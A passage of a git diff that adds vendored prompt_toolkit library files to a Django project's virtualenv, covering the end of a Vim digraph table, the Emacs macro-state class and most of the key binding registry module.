0x215B, + ("3", "8"): 0x215C, + ("5", "8"): 0x215D, + ("7", "8"): 0x215E, + ("1", "R"): 0x2160, + ("2", "R"): 0x2161, + ("3", "R"): 0x2162, + ("4", "R"): 0x2163, + ("5", "R"): 0x2164, + ("6", "R"): 0x2165, + ("7", "R"): 0x2166, + ("8", "R"): 0x2167, + ("9", "R"): 0x2168, + ("a", "R"): 0x2169, + ("b", "R"): 0x216A, + ("c", "R"): 0x216B, + ("1", "r"): 0x2170, + ("2", "r"): 0x2171, + ("3", "r"): 0x2172, + ("4", "r"): 0x2173, + ("5", "r"): 0x2174, + ("6", "r"): 0x2175, + ("7", "r"): 0x2176, + ("8", "r"): 0x2177, + ("9", "r"): 0x2178, + ("a", "r"): 0x2179, + ("b", "r"): 0x217A, + ("c", "r"): 0x217B, + ("<", "-"): 0x2190, + ("-", "!"): 0x2191, + ("-", ">"): 0x2192, + ("-", "v"): 0x2193, + ("<", ">"): 0x2194, + ("U", "D"): 0x2195, + ("<", "="): 0x21D0, + ("=", ">"): 0x21D2, + ("=", "="): 0x21D4, + ("F", "A"): 0x2200, + ("d", "P"): 0x2202, + ("T", "E"): 0x2203, + ("/", "0"): 0x2205, + ("D", "E"): 0x2206, + ("N", "B"): 0x2207, + ("(", "-"): 0x2208, + ("-", ")"): 0x220B, + ("*", "P"): 0x220F, + ("+", "Z"): 0x2211, + ("-", "2"): 0x2212, + ("-", "+"): 0x2213, + ("*", "-"): 0x2217, + ("O", "b"): 0x2218, + ("S", "b"): 0x2219, + ("R", "T"): 0x221A, + ("0", "("): 0x221D, + ("0", "0"): 0x221E, + ("-", "L"): 0x221F, + ("-", "V"): 0x2220, + ("P", "P"): 0x2225, + ("A", "N"): 0x2227, + ("O", "R"): 0x2228, + ("(", "U"): 0x2229, + (")", "U"): 0x222A, + ("I", "n"): 0x222B, + ("D", "I"): 0x222C, + ("I", "o"): 0x222E, + (".", ":"): 0x2234, + (":", "."): 0x2235, + (":", "R"): 0x2236, + (":", ":"): 0x2237, + ("?", "1"): 0x223C, + ("C", "G"): 0x223E, + ("?", "-"): 0x2243, + ("?", "="): 0x2245, + ("?", "2"): 0x2248, + ("=", "?"): 0x224C, + ("H", "I"): 0x2253, + ("!", "="): 0x2260, + ("=", "3"): 0x2261, + ("=", "<"): 0x2264, + (">", "="): 0x2265, + ("<", "*"): 0x226A, + ("*", ">"): 0x226B, + ("!", "<"): 0x226E, + ("!", ">"): 0x226F, + ("(", "C"): 0x2282, + (")", "C"): 0x2283, + ("(", "_"): 0x2286, + (")", "_"): 0x2287, + ("0", "."): 0x2299, + ("0", "2"): 0x229A, + ("-", "T"): 0x22A5, + (".", "P"): 0x22C5, + (":", "3"): 0x22EE, + (".", "3"): 0x22EF, + ("E", "h"): 0x2302, + ("<", "7"): 0x2308, + (">", "7"): 0x2309, + ("7", "<"): 0x230A, + ("7", ">"): 0x230B, + ("N", "I"): 0x2310, + ("(", "A"): 0x2312, + ("T", "R"): 0x2315, + ("I", "u"): 0x2320, + ("I", "l"): 0x2321, + ("<", "/"): 0x2329, + ("/", ">"): 0x232A, + ("V", "s"): 0x2423, + ("1", "h"): 0x2440, + ("3", "h"): 0x2441, + ("2", "h"): 0x2442, + ("4", "h"): 0x2443, + ("1", "j"): 0x2446, + ("2", "j"): 0x2447, + ("3", "j"): 0x2448, + ("4", "j"): 0x2449, + ("1", "."): 0x2488, + ("2", "."): 0x2489, + ("3", "."): 0x248A, + ("4", "."): 0x248B, + ("5", "."): 0x248C, + ("6", "."): 0x248D, + ("7", "."): 0x248E, + ("8", "."): 0x248F, + ("9", "."): 0x2490, + ("h", "h"): 0x2500, + ("H", "H"): 0x2501, + ("v", "v"): 0x2502, + ("V", "V"): 0x2503, + ("3", "-"): 0x2504, + ("3", "_"): 0x2505, + ("3", "!"): 0x2506, + ("3", "/"): 0x2507, + ("4", "-"): 0x2508, + ("4", "_"): 0x2509, + ("4", "!"): 0x250A, + ("4", "/"): 0x250B, + ("d", "r"): 0x250C, + ("d", "R"): 0x250D, + ("D", "r"): 0x250E, + ("D", "R"): 0x250F, + ("d", "l"): 0x2510, + ("d", "L"): 0x2511, + ("D", "l"): 0x2512, + ("L", "D"): 0x2513, + ("u", "r"): 0x2514, + ("u", "R"): 0x2515, + ("U", "r"): 0x2516, + ("U", "R"): 0x2517, + ("u", "l"): 0x2518, + ("u", "L"): 0x2519, + ("U", "l"): 0x251A, + ("U", "L"): 0x251B, + ("v", "r"): 0x251C, + ("v", "R"): 0x251D, + ("V", "r"): 0x2520, + ("V", "R"): 0x2523, + ("v", "l"): 0x2524, + ("v", "L"): 0x2525, + ("V", "l"): 0x2528, + ("V", "L"): 0x252B, + ("d", "h"): 0x252C, + ("d", "H"): 0x252F, + ("D", "h"): 0x2530, + ("D", "H"): 0x2533, + ("u", "h"): 0x2534, + ("u", "H"): 0x2537, + ("U", "h"): 0x2538, + ("U", "H"): 0x253B, + ("v", "h"): 0x253C, + ("v", "H"): 0x253F, + ("V", "h"): 0x2542, + ("V", "H"): 0x254B, + ("F", "D"): 0x2571, + ("B", "D"): 0x2572, + ("T", "B"): 0x2580, + ("L", "B"): 0x2584, + ("F", "B"): 0x2588, + ("l", "B"): 0x258C, + ("R", "B"): 0x2590, + (".", "S"): 0x2591, + (":", "S"): 0x2592, + ("?", "S"): 0x2593, + ("f", "S"): 0x25A0, + ("O", "S"): 0x25A1, + ("R", "O"): 0x25A2, + ("R", "r"): 0x25A3, + ("R", "F"): 0x25A4, + ("R", "Y"): 0x25A5, + ("R", "H"): 0x25A6, + ("R", "Z"): 0x25A7, + ("R", "K"): 0x25A8, + ("R", "X"): 0x25A9, + ("s", "B"): 0x25AA, + ("S", "R"): 0x25AC, + ("O", "r"): 0x25AD, + ("U", "T"): 0x25B2, + ("u", "T"): 0x25B3, + ("P", "R"): 0x25B6, + ("T", "r"): 0x25B7, + ("D", "t"): 0x25BC, + ("d", "T"): 0x25BD, + ("P", "L"): 0x25C0, + ("T", "l"): 0x25C1, + ("D", "b"): 0x25C6, + ("D", "w"): 0x25C7, + ("L", "Z"): 0x25CA, + ("0", "m"): 0x25CB, + ("0", "o"): 0x25CE, + ("0", "M"): 0x25CF, + ("0", "L"): 0x25D0, + ("0", "R"): 0x25D1, + ("S", "n"): 0x25D8, + ("I", "c"): 0x25D9, + ("F", "d"): 0x25E2, + ("B", "d"): 0x25E3, + ("*", "2"): 0x2605, + ("*", "1"): 0x2606, + ("<", "H"): 0x261C, + (">", "H"): 0x261E, + ("0", "u"): 0x263A, + ("0", "U"): 0x263B, + ("S", "U"): 0x263C, + ("F", "m"): 0x2640, + ("M", "l"): 0x2642, + ("c", "S"): 0x2660, + ("c", "H"): 0x2661, + ("c", "D"): 0x2662, + ("c", "C"): 0x2663, + ("M", "d"): 0x2669, + ("M", "8"): 0x266A, + ("M", "2"): 0x266B, + ("M", "b"): 0x266D, + ("M", "x"): 0x266E, + ("M", "X"): 0x266F, + ("O", "K"): 0x2713, + ("X", "X"): 0x2717, + ("-", "X"): 0x2720, + ("I", "S"): 0x3000, + (",", "_"): 0x3001, + (".", "_"): 0x3002, + ("+", '"'): 0x3003, + ("+", "_"): 0x3004, + ("*", "_"): 0x3005, + (";", "_"): 0x3006, + ("0", "_"): 0x3007, + ("<", "+"): 0x300A, + (">", "+"): 0x300B, + ("<", "'"): 0x300C, + (">", "'"): 0x300D, + ("<", '"'): 0x300E, + (">", '"'): 0x300F, + ("(", '"'): 0x3010, + (")", '"'): 0x3011, + ("=", "T"): 0x3012, + ("=", "_"): 0x3013, + ("(", "'"): 0x3014, + (")", "'"): 0x3015, + ("(", "I"): 0x3016, + (")", "I"): 0x3017, + ("-", "?"): 0x301C, + ("A", "5"): 0x3041, + ("a", "5"): 0x3042, + ("I", "5"): 0x3043, + ("i", "5"): 0x3044, + ("U", "5"): 0x3045, + ("u", "5"): 0x3046, + ("E", "5"): 0x3047, + ("e", "5"): 0x3048, + ("O", "5"): 0x3049, + ("o", "5"): 0x304A, + ("k", "a"): 0x304B, + ("g", "a"): 0x304C, + ("k", "i"): 0x304D, + ("g", "i"): 0x304E, + ("k", "u"): 0x304F, + ("g", "u"): 0x3050, + ("k", "e"): 0x3051, + ("g", "e"): 0x3052, + ("k", "o"): 0x3053, + ("g", "o"): 0x3054, + ("s", "a"): 0x3055, + ("z", "a"): 0x3056, + ("s", "i"): 0x3057, + ("z", "i"): 0x3058, + ("s", "u"): 0x3059, + ("z", "u"): 0x305A, + ("s", "e"): 0x305B, + ("z", "e"): 0x305C, + ("s", "o"): 0x305D, + ("z", "o"): 0x305E, + ("t", "a"): 0x305F, + ("d", "a"): 0x3060, + ("t", "i"): 0x3061, + ("d", "i"): 0x3062, + ("t", "U"): 0x3063, + ("t", "u"): 0x3064, + ("d", "u"): 0x3065, + ("t", "e"): 0x3066, + ("d", "e"): 0x3067, + ("t", "o"): 0x3068, + ("d", "o"): 0x3069, + ("n", "a"): 0x306A, + ("n", "i"): 0x306B, + ("n", "u"): 0x306C, + ("n", "e"): 0x306D, + ("n", "o"): 0x306E, + ("h", "a"): 0x306F, + ("b", "a"): 0x3070, + ("p", "a"): 0x3071, + ("h", "i"): 0x3072, + ("b", "i"): 0x3073, + ("p", "i"): 0x3074, + ("h", "u"): 0x3075, + ("b", "u"): 0x3076, + ("p", "u"): 0x3077, + ("h", "e"): 0x3078, + ("b", "e"): 0x3079, + ("p", "e"): 0x307A, + ("h", "o"): 0x307B, + ("b", "o"): 0x307C, + ("p", "o"): 0x307D, + ("m", "a"): 0x307E, + ("m", "i"): 0x307F, + ("m", "u"): 0x3080, + ("m", "e"): 0x3081, + ("m", "o"): 0x3082, + ("y", "A"): 0x3083, + ("y", "a"): 0x3084, + ("y", "U"): 0x3085, + ("y", "u"): 0x3086, + ("y", "O"): 0x3087, + ("y", "o"): 0x3088, + ("r", "a"): 0x3089, + ("r", "i"): 0x308A, + ("r", "u"): 0x308B, + ("r", "e"): 0x308C, + ("r", "o"): 0x308D, + ("w", "A"): 0x308E, + ("w", "a"): 0x308F, + ("w", "i"): 0x3090, + ("w", "e"): 0x3091, + ("w", "o"): 0x3092, + ("n", "5"): 0x3093, + ("v", "u"): 0x3094, + ('"', "5"): 0x309B, + ("0", "5"): 0x309C, + ("*", "5"): 0x309D, + ("+", "5"): 0x309E, + ("a", "6"): 0x30A1, + ("A", "6"): 0x30A2, + ("i", "6"): 0x30A3, + ("I", "6"): 0x30A4, + ("u", "6"): 0x30A5, + ("U", "6"): 0x30A6, + ("e", "6"): 0x30A7, + ("E", "6"): 0x30A8, + ("o", "6"): 0x30A9, + ("O", "6"): 0x30AA, + ("K", "a"): 0x30AB, + ("G", "a"): 0x30AC, + ("K", "i"): 0x30AD, + ("G", "i"): 0x30AE, + ("K", "u"): 0x30AF, + ("G", "u"): 0x30B0, + ("K", "e"): 0x30B1, + ("G", "e"): 0x30B2, + ("K", "o"): 0x30B3, + ("G", "o"): 0x30B4, + ("S", "a"): 0x30B5, + ("Z", "a"): 0x30B6, + ("S", "i"): 0x30B7, + ("Z", "i"): 0x30B8, + ("S", "u"): 0x30B9, + ("Z", "u"): 0x30BA, + ("S", "e"): 0x30BB, + ("Z", "e"): 0x30BC, + ("S", "o"): 0x30BD, + ("Z", "o"): 0x30BE, + ("T", "a"): 0x30BF, + ("D", "a"): 0x30C0, + ("T", "i"): 0x30C1, + ("D", "i"): 0x30C2, + ("T", "U"): 0x30C3, + ("T", "u"): 0x30C4, + ("D", "u"): 0x30C5, + ("T", "e"): 0x30C6, + ("D", "e"): 0x30C7, + ("T", "o"): 0x30C8, + ("D", "o"): 0x30C9, + ("N", "a"): 0x30CA, + ("N", "i"): 0x30CB, + ("N", "u"): 0x30CC, + ("N", "e"): 0x30CD, + ("N", "o"): 0x30CE, + ("H", "a"): 0x30CF, + ("B", "a"): 0x30D0, + ("P", "a"): 0x30D1, + ("H", "i"): 0x30D2, + ("B", "i"): 0x30D3, + ("P", "i"): 0x30D4, + ("H", "u"): 0x30D5, + ("B", "u"): 0x30D6, + ("P", "u"): 0x30D7, + ("H", "e"): 0x30D8, + ("B", "e"): 0x30D9, + ("P", "e"): 0x30DA, + ("H", "o"): 0x30DB, + ("B", "o"): 0x30DC, + ("P", "o"): 0x30DD, + ("M", "a"): 0x30DE, + ("M", "i"): 0x30DF, + ("M", "u"): 0x30E0, + ("M", "e"): 0x30E1, + ("M", "o"): 0x30E2, + ("Y", "A"): 0x30E3, + ("Y", "a"): 0x30E4, + ("Y", "U"): 0x30E5, + ("Y", "u"): 0x30E6, + ("Y", "O"): 0x30E7, + ("Y", "o"): 0x30E8, + ("R", "a"): 0x30E9, + ("R", "i"): 0x30EA, + ("R", "u"): 0x30EB, + ("R", "e"): 0x30EC, + ("R", "o"): 0x30ED, + ("W", "A"): 0x30EE, + ("W", "a"): 0x30EF, + ("W", "i"): 0x30F0, + ("W", "e"): 0x30F1, + ("W", "o"): 0x30F2, + ("N", "6"): 0x30F3, + ("V", "u"): 0x30F4, + ("K", "A"): 0x30F5, + ("K", "E"): 0x30F6, + ("V", "a"): 0x30F7, + ("V", "i"): 0x30F8, + ("V", "e"): 0x30F9, + ("V", "o"): 0x30FA, + (".", "6"): 0x30FB, + ("-", "6"): 0x30FC, + ("*", "6"): 0x30FD, + ("+", "6"): 0x30FE, + ("b", "4"): 0x3105, + ("p", "4"): 0x3106, + ("m", "4"): 0x3107, + ("f", "4"): 0x3108, + ("d", "4"): 0x3109, + ("t", "4"): 0x310A, + ("n", "4"): 0x310B, + ("l", "4"): 0x310C, + ("g", "4"): 0x310D, + ("k", "4"): 0x310E, + ("h", "4"): 0x310F, + ("j", "4"): 0x3110, + ("q", "4"): 0x3111, + ("x", "4"): 0x3112, + ("z", "h"): 0x3113, + ("c", "h"): 0x3114, + ("s", "h"): 0x3115, + ("r", "4"): 0x3116, + ("z", "4"): 0x3117, + ("c", "4"): 0x3118, + ("s", "4"): 0x3119, + ("a", "4"): 0x311A, + ("o", "4"): 0x311B, + ("e", "4"): 0x311C, + ("a", "i"): 0x311E, + ("e", "i"): 0x311F, + ("a", "u"): 0x3120, + ("o", "u"): 0x3121, + ("a", "n"): 0x3122, + ("e", "n"): 0x3123, + ("a", "N"): 0x3124, + ("e", "N"): 0x3125, + ("e", "r"): 0x3126, + ("i", "4"): 0x3127, + ("u", "4"): 0x3128, + ("i", "u"): 0x3129, + ("v", "4"): 0x312A, + ("n", "G"): 0x312B, + ("g", "n"): 0x312C, + ("1", "c"): 0x3220, + ("2", "c"): 0x3221, + ("3", "c"): 0x3222, + ("4", "c"): 0x3223, + ("5", "c"): 0x3224, + ("6", "c"): 0x3225, + ("7", "c"): 0x3226, + ("8", "c"): 0x3227, + ("9", "c"): 0x3228, + # code points 0xe000 - 0xefff excluded, they have no assigned + # characters, only used in proposals. + ("f", "f"): 0xFB00, + ("f", "i"): 0xFB01, + ("f", "l"): 0xFB02, + ("f", "t"): 0xFB05, + ("s", "t"): 0xFB06, + # Vim 5.x compatible digraphs that don't conflict with the above + ("~", "!"): 161, + ("c", "|"): 162, + ("$", "$"): 163, + ("o", "x"): 164, # currency symbol in ISO 8859-1 + ("Y", "-"): 165, + ("|", "|"): 166, + ("c", "O"): 169, + ("-", ","): 172, + ("-", "="): 175, + ("~", "o"): 176, + ("2", "2"): 178, + ("3", "3"): 179, + ("p", "p"): 182, + ("~", "."): 183, + ("1", "1"): 185, + ("~", "?"): 191, + ("A", "`"): 192, + ("A", "^"): 194, + ("A", "~"): 195, + ("A", '"'): 196, + ("A", "@"): 197, + ("E", "`"): 200, + ("E", "^"): 202, + ("E", '"'): 203, + ("I", "`"): 204, + ("I", "^"): 206, + ("I", '"'): 207, + ("N", "~"): 209, + ("O", "`"): 210, + ("O", "^"): 212, + ("O", "~"): 213, + ("/", "\\"): 215, # multiplication symbol in ISO 8859-1 + ("U", "`"): 217, + ("U", "^"): 219, + ("I", "p"): 222, + ("a", "`"): 224, + ("a", "^"): 226, + ("a", "~"): 227, + ("a", '"'): 228, + ("a", "@"): 229, + ("e", "`"): 232, + ("e", "^"): 234, + ("e", '"'): 235, + ("i", "`"): 236, + ("i", "^"): 238, + ("n", "~"): 241, + ("o", "`"): 242, + ("o", "^"): 244, + ("o", "~"): 245, + ("u", "`"): 249, + ("u", "^"): 251, + ("y", '"'): 255, +} diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/emacs_state.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/emacs_state.py new file mode 100644 index 00000000..4c996224 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/emacs_state.py @@ -0,0 +1,36 @@ +from typing import List, Optional + +from .key_processor import KeyPress + +__all__ = [ + "EmacsState", +] + + +class EmacsState: + """ + Mutable class to hold Emacs specific state. + """ + + def __init__(self) -> None: + # Simple macro recording. (Like Readline does.) + # (For Emacs mode.) + self.macro: Optional[List[KeyPress]] = [] + self.current_recording: Optional[List[KeyPress]] = None + + def reset(self) -> None: + self.current_recording = None + + @property + def is_recording(self) -> bool: + "Tell whether we are recording a macro." + return self.current_recording is not None + + def start_macro(self) -> None: + "Start recording macro." + self.current_recording = [] + + def end_macro(self) -> None: + "End recording macro." + self.macro = self.current_recording + self.current_recording = None diff --git a/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_bindings.py b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_bindings.py new file mode 100644 index 00000000..03bc79ef --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/prompt_toolkit/key_binding/key_bindings.py @@ -0,0 +1,672 @@ +""" +Key bindings registry. + +A `KeyBindings` object is a container that holds a list of key bindings. It has a +very efficient internal data structure for checking which key bindings apply +for a pressed key. + +Typical usage:: + + kb = KeyBindings() + + @kb.add(Keys.ControlX, Keys.ControlC, filter=INSERT) + def handler(event): + # Handle ControlX-ControlC key sequence. + pass + +It is also possible to combine multiple KeyBindings objects. We do this in the +default key bindings. There are some KeyBindings objects that contain the Emacs +bindings, while others contain the Vi bindings. They are merged together using +`merge_key_bindings`. + +We also have a `ConditionalKeyBindings` object that can enable/disable a group of +key bindings at once. + + +It is also possible to add a filter to a function, before a key binding has +been assigned, through the `key_binding` decorator.:: + + # First define a key handler with the `filter`. + @key_binding(filter=condition) + def my_key_binding(event): + ... + + # Later, add it to the key bindings. + kb.add(Keys.A, my_key_binding) +""" +from abc import ABCMeta, abstractmethod, abstractproperty +from inspect import isawaitable +from typing import ( + TYPE_CHECKING, + Awaitable, + Callable, + Hashable, + List, + Optional, + Sequence, + Tuple, + TypeVar, + Union, + cast, +) + +from prompt_toolkit.cache import SimpleCache +from prompt_toolkit.filters import FilterOrBool, Never, to_filter +from prompt_toolkit.keys import KEY_ALIASES, Keys + +if TYPE_CHECKING: + # Avoid circular imports. + from .key_processor import KeyPressEvent + + # The only two return values for a mouse hander (and key bindings) are + # `None` and `NotImplemented`. For the type checker it's best to annotate + # this as `object`. (The consumer never expects a more specific instance: + # checking for NotImplemented can be done using `is NotImplemented`.) + NotImplementedOrNone = object + # Other non-working options are: + # * Optional[Literal[NotImplemented]] + # --> Doesn't work, Literal can't take an Any. + # * None + # --> Doesn't work. We can't assign the result of a function that + # returns `None` to a variable. + # * Any + # --> Works, but too broad. + + +__all__ = [ + "NotImplementedOrNone", + "Binding", + "KeyBindingsBase", + "KeyBindings", + "ConditionalKeyBindings", + "merge_key_bindings", + "DynamicKeyBindings", + "GlobalOnlyKeyBindings", +] + +# Key bindings can be regular functions or coroutines. +# In both cases, if they return `NotImplemented`, the UI won't be invalidated. +# This is mainly used in case of mouse move events, to prevent excessive +# repainting during mouse move events. +KeyHandlerCallable = Callable[ + ["KeyPressEvent"], Union["NotImplementedOrNone", Awaitable["NotImplementedOrNone"]] +] + + +class Binding: + """ + Key binding: (key sequence + handler + filter). + (Immutable binding class.) + + :param record_in_macro: When True, don't record this key binding when a + macro is recorded. + """ + + def __init__( + self, + keys: Tuple[Union[Keys, str], ...], + handler: KeyHandlerCallable, + filter: FilterOrBool = True, + eager: FilterOrBool = False, + is_global: FilterOrBool = False, + save_before: Callable[["KeyPressEvent"], bool] = (lambda e: True), + record_in_macro: FilterOrBool = True, + ) -> None: + self.keys = keys + self.handler = handler + self.filter = to_filter(filter) + self.eager = to_filter(eager) + self.is_global = to_filter(is_global) + self.save_before = save_before + self.record_in_macro = to_filter(record_in_macro) + + def call(self, event: "KeyPressEvent") -> None: + result = self.handler(event) + + # If the handler is a coroutine, create an asyncio task. + if isawaitable(result): + awaitable = cast(Awaitable["NotImplementedOrNone"], result) + + async def bg_task() -> None: + result = await awaitable + if result != NotImplemented: + event.app.invalidate() + + event.app.create_background_task(bg_task()) + + elif result != NotImplemented: + event.app.invalidate() + + def __repr__(self) -> str: + return "{}(keys={!r}, handler={!r})".format( + self.__class__.__name__, + self.keys, + self.handler, + ) + + +# Sequence of keys presses. +KeysTuple = Tuple[Union[Keys, str], ...] + + +class KeyBindingsBase(metaclass=ABCMeta): + """ + Interface for a KeyBindings. + """ + + @abstractproperty + def _version(self) -> Hashable: + """ + For cache invalidation. - This should increase every time that + something changes. + """ + return 0 + + @abstractmethod + def get_bindings_for_keys(self, keys: KeysTuple) -> List[Binding]: + """ + Return a list of key bindings that can handle these keys. + (This return also inactive bindings, so the `filter` still has to be + called, for checking it.) + + :param keys: tuple of keys. + """ + return [] + + @abstractmethod + def get_bindings_starting_with_keys(self, keys: KeysTuple) -> List[Binding]: + """ + Return a list of key bindings that handle a key sequence starting with + `keys`. (It does only return bindings for which the sequences are + longer than `keys`. And like `get_bindings_for_keys`, it also includes + inactive bindings.) + + :param keys: tuple of keys. + """ + return [] + + @abstractproperty + def bindings(self) -> List[Binding]: + """ + List of `Binding` objects. + (These need to be exposed, so that `KeyBindings` objects can be merged + together.) + """ + return [] + + # `add` and `remove` don't have to be part of this interface. + + +T = TypeVar("T", bound=Union[KeyHandlerCallable, Binding]) + + +class KeyBindings(KeyBindingsBase): + """ + A container for a set of key bindings. + + Example usage:: + + kb = KeyBindings() + + @kb.add('c-t') + def _(event): + print('Control-T pressed') + + @kb.add('c-a', 'c-b') + def _(event): + print('Control-A pressed, followed by Control-B') + + @kb.add('c-x', filter=is_searching) + def _(event): + print('Control-X pressed') # Works only if we are searching. + + """ + + def __init__(self) -> None: + self._bindings: List[Binding] = [] + self._get_bindings_for_keys_cache: SimpleCache[ + KeysTuple, List[Binding] + ] = SimpleCache(maxsize=10000) + self._get_bindings_starting_with_keys_cache: SimpleCache[ + KeysTuple, List[Binding] + ] = SimpleCache(maxsize=1000) + self.__version = 0 # For cache invalidation. + + def _clear_cache(self) -> None: + self.__version += 1 + self._get_bindings_for_keys_cache.clear() + self._get_bindings_starting_with_keys_cache.clear() + + @property + def bindings(self) -> List[Binding]: + return self._bindings + + @property + def _version(self) -> Hashable: + return self.__version + + def add( + self, + *keys: Union[Keys, str], + filter: FilterOrBool = True, + eager: FilterOrBool = False, + is_global: FilterOrBool = False, + save_before: Callable[["KeyPressEvent"], bool] = (lambda e: True), + record_in_macro: FilterOrBool = True, + ) -> Callable[[T], T]: + """ + Decorator for adding a key bindings. + + :param filter: :class:`~prompt_toolkit.filters.Filter` to determine + when this key binding is active. + :param eager: :class:`~prompt_toolkit.filters.Filter` or `bool`. + When True, ignore potential longer matches when this key binding is + hit. E.g. when there is an active eager key binding for Ctrl-X, + execute the handler immediately and ignore the key binding for + Ctrl-X Ctrl-E of which it is a prefix. + :param is_global: When this key bindings is added to a `Container` or + `Control`, make it a global (always active) binding. + :param save_before: Callable that takes an `Event` and returns True if + we should save the current buffer, before handling the event. + (That's the default.) + :param record_in_macro: Record these key bindings when a macro is + being recorded. (True by default.) + """ + assert keys + + keys = tuple(_parse_key(k) for k in keys) + + if isinstance(filter, Never): + # When a filter is Never, it will always stay disabled, so in that + # case don't bother putting it in the key bindings. It will slow + # down every key press otherwise. + def decorator(func: T) -> T: + return func + + else: + + def decorator(func: T) -> T: + if isinstance(func, Binding): + # We're adding an existing Binding object. + self.bindings.append( + Binding( + keys, + func.handler, + filter=func.filter & to_filter(filter), + eager=to_filter(eager) | func.eager, + is_global=to_filter(is_global) | func.is_global, + save_before=func.save_before, + record_in_macro=func.record_in_macro, + ) + ) + else: + self.bindings.append( + Binding( + keys, + cast(KeyHandlerCallable, func), + filter=filter, + eager=eager, + is_global=is_global, + save_before=save_before, + record_in_macro=record_in_macro, + ) + ) + self._clear_cache() + + return func + + return decorator + + def remove(self, *args: Union[Keys, str, KeyHandlerCallable]) -> None: + """ + Remove a key binding. + + This expects either a function that was given to `add` method as + parameter or a sequence of key bindings. + + Raises `ValueError` when no bindings was found. + + Usage:: + + remove(handler) # Pass handler. + remove('c-x', 'c-a') # Or pass the key bindings. + """ + found = False + + if callable(args[0]): + assert len(args) == 1 + function = args[0] + + # Remove the given function. + for b in self.bindings: + if b.handler == function: + self.bindings.remove(b) + found = True + + else: + assert len(args) > 0 + args = cast(Tuple[Union[Keys, str]], args) + + # Remove this sequence of key bindings. + keys = tuple(_parse_key(k) for k in args) + + for b in self.bindings: + if b.keys == keys: + self.bindings.remove(b) + found = True + + if found: + self._clear_cache() + else: + # No key binding found for this function. Raise ValueError. + raise ValueError(f"Binding not found: {function!r}") + + # For backwards-compatibility. + add_binding = add + remove_binding = remove + + def get_bindings_for_keys(self, keys: KeysTuple) -> List[Binding]: + """ + Return a list of key bindings that can handle this key. + (This return also inactive bindings, so the `filter` still has to be + called, for checking it.) + + :param keys: tuple of keys. + """ + + def get() -> List[Binding]: + result: List[Tuple[int, Binding]] = [] + + for b in self.bindings: + if len(keys) == len(b.keys): + match = True + any_count = 0 + + for i, j in zip(b.keys, keys): + if i != j and i != Keys.Any: + match = False + break + + if i == Keys.Any: + any_count += 1 + + if match: + result.append((any_count, b)) + + # Place bindings that have more 'Any' occurrences in them at the end. + result = sorted(result, key=lambda item: -item[0]) + + return [item[1] for item in result] + + return self._get_bindings_for_keys_cache.get(keys, get) + + def get_bindings_starting_with_keys(self, keys: KeysTuple) -> List[Binding]: + """ + Return a list of key bindings that handle a key sequence starting with + `keys`. (It does only return bindings for which the sequences are + longer than `keys`. And like `get_bindings_for_keys`, it also includes + inactive bindings.) + + :param keys: tuple of keys. + """ + + def get() -> List[Binding]: + result = [] + for b in self.bindings: + if len(keys) < len(b.keys): + match = True + for i, j in zip(b.keys, keys): + if i != j and i != Keys.Any: + match = False + break + if match: + result.append(b) + return result + + return self._get_bindings_starting_with_keys_cache.get(keys, get) + + +def _parse_key(key: Union[Keys, str]) -> Union[str, Keys]: + """ + Replace key by alias and verify whether it's a valid one. + """ + # Already a parse key? -> Return it. + if isinstance(key, Keys): + return key + + # Lookup aliases. + key = KEY_ALIASES.get(key, key) + + # Replace 'space' by ' ' + if key == "space": + key = " " + + # Return as `Key` object when it's a special key. + try: + return Keys(key) + except ValueError: + pass + + # Final validation. + if len(key) != 1: + raise ValueError(f"Invalid key: {key}") + + return key + + +def key_binding( + filter: FilterOrBool = True, + eager: FilterOrBool = False, + is_global: FilterOrBool = False, + save_before: Callable[["KeyPressEvent"], bool] = (lambda event: True), + record_in_macro: FilterOrBool = True, +) -> Callable[[KeyHandlerCallable], Binding]: + """ + Decorator that turn a function into a `Binding` object. This can be added + to a `KeyBindings` object when a key binding is assigned. + """ + assert save_before is None or callable(save_before) + + filter = to_filter(filter) + eager = to_filter(eager) + is_global = to_filter(is_global) + save_before = save_before + record_in_macro = to_filter(record_in_macro) + keys = () + + def decorator(function: KeyHandlerCallable) -> Binding: + return Binding( + keys, + function, + filter=filter, + eager=eager, + is_global=is_global, + save_before=save_before, + record_in_macro=record_in_macro, + ) + + return decorator + + +class _Proxy(KeyBindingsBase): + """ + Common part for ConditionalKeyBindings and _MergedKeyBindings. + """ + + def __init__(self) -> None: + # `KeyBindings` to be synchronized with all the others. + self._bindings2: KeyBindingsBase = KeyBindings() + self._last_version: Hashable = () + + def _update_cache(self) -> None: + """ + If `self._last_version` is outdated, then this should update + the version and `self._bindings2`. + """ + raise NotImplementedError + + # Proxy methods to self._bindings2. + + @property + def bindings(self) -> List[Binding]: + self._update_cache() + return self._bindings2.bindings + + @property + def _version(self) -> Hashable: + self._update_cache() + return self._last_version + + def get_bindings_for_keys(self, keys: KeysTuple) -> List[Binding]: + self._update_cache() + return self._bindings2.get_bindings_for_keys(keys) + + def get_bindings_starting_with_keys(self, keys: KeysTuple) -> List[Binding]: + self._update_cache() + return self._bindings2.get_bindings_starting_with_keys(keys) + + +class ConditionalKeyBindings(_Proxy): + """ + Wraps around a `KeyBindings`. Disable/enable all the key bindings according to + the given (additional) filter.:: + + @Condition + def setting_is_true(): + return True # or False + + registry = ConditionalKeyBindings(key_bindings, setting_is_true) + + When new key bindings are added to this object. They are also + enable/disabled according to the given `filter`. + + :param registries: List of :class:`.KeyBindings` objects. + :param filter: :class:`~prompt_toolkit.filters.Filter` object. + """ + + def __init__( + self, key_bindings: KeyBindingsBase, filter: FilterOrBool = True + ) -> None: + + _Proxy.__init__(self) + + self.key_bindings = key_bindings + self.filter = to_filter(filter) + + def _update_cache(self) -> None: + "If the original key bindings was changed. Update our copy version." + expected_version = self.key_bindings._version + + if self._last_version != expected_version: + bindings2 = KeyBindings() + + # Copy all bindings from `self.key_bindings`, adding our condition. + for b in self.key_bindings.bindings: + bindings2.bindings.append( + Binding( + keys=b.keys, + handler=b.handler, + filter=self.filter & b.filter, + eager=b.eager, + is_global=b.is_global, + save_before=b.save_before, + record_in_macro=b.record_in_macro, + ) + ) + + self._bindings2 = bindings2 + self._last_version = expected_version + + +class _MergedKeyBindings(_Proxy): + """ + Merge 